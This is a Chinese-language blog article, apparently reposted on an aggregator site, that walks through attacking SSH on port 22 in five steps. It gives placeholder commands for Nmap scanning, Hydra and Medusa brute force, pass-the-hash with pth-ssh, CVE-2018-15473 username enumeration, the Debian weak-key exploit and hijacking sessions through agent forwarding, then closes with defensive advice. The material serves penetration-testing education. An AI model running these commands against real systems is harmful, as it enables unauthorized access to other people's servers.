当前位置: 首页 > news >正文

只需5个步骤带你了解渗透测试全过程,SSH端口22如何完全沦陷!

前言:为什么 SSH 攻击值得关注?

SSH(Secure Shell)是一种用于在不安全网络上建立安全连接的协议,主要用于远程服务器管理。由于 SSH 端口22通常默认开放,且广泛用于服务器管理,因此它成为攻击者的重点目标。

在这篇文章中,我们将深入探讨如何利用 SSH 端口 22 进行渗透测试,包括信息收集、漏洞评估、暴力破解、漏洞利用以及后渗透攻击等关键步骤。


攻击流程概览

1. 信息收集(Reconnaissance)

  • 使用Nmap扫描开放的 SSH 端口。

  • 获取 SSH 服务器版本信息 (nmap -sV)。

  • 通过Banner Grabbing提取 SSH 横幅信息。

2. 漏洞评估(Vulnerability Assessment)

  • 使用ssh-audit检测 SSH 配置弱点。

  • 在 CVE 数据库中查找相关漏洞。

3. 暴力破解与密钥利用(Brute Force & Key Exploitation)

  • 使用Hydra 或 Medusa进行密码暴力破解。

  • 利用暴露的 SSH 私钥进行认证。

4. 后渗透攻击(Post-Exploitation)

  • 设置SSH 隧道进行横向移动。

  • 劫持现有 SSH 会话。


第一步:信息收集

1. 端口扫描

使用 Nmap 识别开放的 SSH 端口(默认端口为 22):

nmap -p22 <目标IP>

2. 服务版本探测

检测 SSH 服务器版本,以便查找可能的漏洞:

nmap -sV -p22 <目标IP>

3. SSH Banner Grabbing

提取 SSH 服务的横幅信息,获取操作系统版本和 SSH 版本:

nc <目标IP> 22

第二步:漏洞评估

1. 检测已知漏洞(CVE)

一旦获取 SSH 服务器版本,可以在CVE DetailsNVD数据库中搜索已知漏洞。此外,还可以使用Nmap NSE脚本自动扫描 SSH 漏洞:

nmap --script sshv1 -p22 <目标IP> nmap -p22 <目标IP> --script ssh2-enum-algos nmap -p22 <目标IP> --script ssh-hostkey --script-args ssh_hostkey=full nmap -p22 <目标IP> --script ssh-auth-methods --script-args="ssh.user=root"

第三步:暴力破解与密钥攻击

1. 使用 Hydra 进行 SSH 暴力破解

hydra -l <用户名> -P <密码列表> <目标IP> ssh

2. 使用 Medusa 进行 SSH 暴力破解

medusa -h <目标IP> -u <用户名> -P <密码列表> -M ssh

高级攻击技术:Pass-the-Hash(PTH)

在高级渗透测试中,攻击者可能不会直接暴力破解密码,而是利用捕获到的密码哈希进行认证,绕过传统的密码验证机制。

1. 使用 CrackMapExec 进行并行 SSH 暴力破解

crackmapexec ssh <目标IP> -u <用户名> -p <密码>

2. 使用 pth-ssh 进行 Pass-the-Hash 攻击

pth-ssh <用户名>@<目标IP> <密码哈希>

为什么使用 PTH 攻击?

  • 比暴力破解更隐蔽:不会触发登录失败的安全警报。

  • 绕过速率限制:SSH 服务器通常会对失败登录进行限制,而 PTH 直接使用合法哈希进行认证。


第四步:SSH 关键漏洞利用

1. SSH 用户名枚举漏洞(CVE-2018-15473)

攻击者可以利用此漏洞分析 SSH 响应,推测系统中的有效用户名。

python ssh_enum.py <目标IP> -U <用户名列表>

2. SSH OpenSSL 预测随机数漏洞(CVE-2008-0166)

2006-2008 年间,Debian 基于 OpenSSL 生成的 SSH 密钥因随机数种子问题,导致密钥可预测。攻击者可以利用该漏洞恢复私钥。

git clone https://github.com/g0tmi1k/debian-ssh.git cd debian-ssh ./find_key.py <目标IP> <用户名>

第五步:后渗透攻击(Post-Exploitation)

1. 使用暴露的 SSH 私钥直接登陆

如果攻击者获取了 SSH 私钥(如id_rsa),可以直接认证目标系统。

chmod 600 id_rsa ssh -i id_rsa <用户名>@<目标IP>

2. 设置 SSH 隧道进行横向移动

SSH 本地端口转发

将本地端口映射到目标网络的内部端口,以访问内部服务。

ssh -L <本地端口>:<内网IP>:<内网端口> <用户名>@<目标IP>

示例(访问目标内网的 Web 服务器):

ssh -L 8080:10.10.10.5:80 root@192.168.1.10

3. 劫持现有 SSH 会话

检查现有 SSH 进程

攻击者可以查找系统上已建立的 SSH 连接并劫持其会话。

ps aux | grep ssh
利用 SSH 代理转发进行会话劫持
env | grep SSH_AUTH_SOCK ssh-add -l ssh -A <用户名>@<目标IP>

如果 SSH 代理已经存储了密钥,可以直接连接到其他系统,而无需再次输入密码。


总结:如何防御 SSH 攻击?

面对 SSH 端口 22 的攻击,服务器管理员应采取以下措施:

更改默认 SSH 端口(避免使用 22)
禁用密码认证,启用 SSH 密钥认证
限制 SSH 访问,仅允许特定 IP 连接
使用 Fail2Ban 或类似工具防止暴力破解
定期更新 OpenSSH 版本,修复已知漏洞
禁用 SSH 代理转发,防止会话劫持

SSH 安全至关重要,无论是企业服务器还是个人云主机,都应当采取适当的安全措施,以防止攻击者通过端口 22 入侵系统。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


http://www.cnnetsun.cn/news/95990.html

相关文章:

  • 一个漏洞2w+,网安副业挖SRC漏洞,躺着把钱挣了!挖漏洞平均一天收入多少?
  • 数据血缘追踪与质量监控实现方法
  • 【编程干货】大模型开发文档处理秘籍,让你的RAG系统性能提升10倍!
  • 【AI开发必备】Mini Agent:零门槛构建智能Agent,支持MCP工具和无限长任务,GitHub已爆![特殊字符]
  • 栈与队列学习笔记
  • Oracle回滚与撤销技术
  • 我的mybatis-flex自定义查询为什么没有参数
  • 揭秘Dify混合检索缓存机制:为何缓存清理如此重要?
  • 计划赶不上变化?错!是计划“根本赶不上开工”
  • 应用冷启动优化
  • java_base_(接口篇)省流版
  • 实测主流科技查新网站:它们如何解决专利与项目查新的双重需求?
  • 【收藏必备】零基础入门AI Agent:概念、结构、方法与开发框架全解析
  • vue基于Springboot框架实现新能源汽车4s店销售管理系统
  • 开关频率可调的永磁同步电机svpwm发电仿真模型,可调稳定发电电压,负载,母线电容可调,可用于...
  • C语言高阶玩法:函数指针与回调函数实战指南,让你的代码拥有“灵魂”
  • 基于SpringBoot的校园二手书交易平台的设计与实现
  • 数据结构与算法--007三数之和(medium)
  • C++ 模板初阶:泛型编程的入门指南
  • 基于Java实现优雅关闭的规范化方案设计与实现
  • 时序数据战场巅峰对决:金仓数据库 VS InfluxDB深度解析
  • Windows任务管理器中CPU相关指标怎么看?
  • 【必藏】大模型入行晚了?现在就是黄金时机!小白到入门的完整路线
  • 系统思考与认知习惯
  • 速藏!2026年免费免版权音乐素材网站推荐!正规版权保障,商用无压力不侵权
  • 【数据分享】1951-2024年我国省市县三级逐日、逐月和逐年近地面气温数据(Shp/Excel格式)
  • 金融行业广告投放:在合规的赛道上,实现精准增长
  • 长安汽车11月销量28.3万辆,同比增长2.3%
  • 1688 商品详情接口深度解析:从百川签名突破到供应链数据重构
  • LobeChat心理情绪日记分析工具